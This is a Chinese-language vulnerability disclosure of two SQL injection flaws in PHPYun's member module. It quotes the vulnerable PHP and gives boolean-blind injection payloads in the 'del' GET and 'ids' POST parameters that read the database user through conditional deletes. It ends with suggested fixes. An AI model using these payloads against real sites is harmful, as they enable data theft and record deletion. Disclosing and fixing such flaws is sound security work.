Phpyun SQL注入两枚

漏洞作者: zxx

漏洞一:

/member/model/com.class.php中

[php]

function job(){

。。。

570行 if($_GET['del'] || is_array($_POST['checkboxid']))

{

if(is_array($_POST['checkboxid'])){

$layer_type=1;

$delid=$this->pylode(",",$_POST['checkboxid']);

}else if($_GET['del']){

$layer_type=0;

$delid=$_GET['del'];//GET的del没有过滤,传给delid

}

$rows=$this->obj->DB_select_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")","`state`");

$nid=$this->obj->DB_delete_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")"," ");

echo $nid;

$this->obj->DB_delete_all("company_job_link","`uid`='".$this->uid."' and `jobid` in (".$delid.")"," ");//上面三行都将delid直接带入

。。。

}

function job_action(){

$this->job();//调用job函数

。。。

}

[/php]

漏洞二:

与漏洞一类似,/member/model/com.class.php中

[php]

function delshow_action(){

$company_show=$this->obj->DB_select_all("company_show","`id` in (".$_POST
['ids'].") and `uid`='".$this->uid."'","`picurl`");

if(is_array($company_show)&&$company_show){

foreach($company_show as $val){

$this->obj->unlink_pic(".".$val['picurl']);

}

$this->obj->DB_delete_all("company_show","`id` in (".$_POST['ids'].")
and `uid`='".$this->uid."'","");

}

return true;

}

[/php]

POST的ids直接放入sql语句中

漏洞证明:

证明一:

程序有点问题,因为只要mysql_query执行delete操作只要不出错就返回true,$nid一直返回1,所以回显一直一样,我们就靠招聘信息是否删除成功来判断。

当http://localhost/member/index.php?m=com&c=job&del=if(substring(user(),1,1)=char(115),3,798)) %23 //这里3为我们的招聘信息id

我们的user()是root,ascii码为114,这里为115,所以信息仍存在;

161935409d2cf985ffbe55a65769107cf1546e7a

 

http://localhost/member/index.php?m=com&c=job&del=if(substring(user(),1,1)=char(114),3,798)) %23

16193606e953e5ee94aaf117763f677c35064869

16193556300f56eabcf545164929f16330abd557

 

证明二:

同样是没有回显,这里靠企业环境展示的删除与否判断:

先得到一个展示的id:

在删除的地方,审查元素:

1619424632564e04f7c4be56013c6d7f52792bb2

 

,这里是3

http://localhost/member/index.php?c=delshow

POST:ids=if(substring(user(),1,1)=char(115),3,798) //3就是我们得到的id

这里还是因为155不是r的ascii码,所以删除失败,就不上图了。

http://localhost/member/index.php?c=delshow

POST:ids=if(substring(user(),1,1)=char(114),3,798)

1619451261730ea346d75f2a2fb69dcde035063e

16194523b7701f4bf528119049c41ddf1e4067e0

 

16194628484c6a87266dc2bd84043fe291bf6b10

 

因为360webscan的存在,好像有点鸡肋。

修复方案:

第一个GET用intval过滤

第二个POST用你们的pylode过滤

发表评论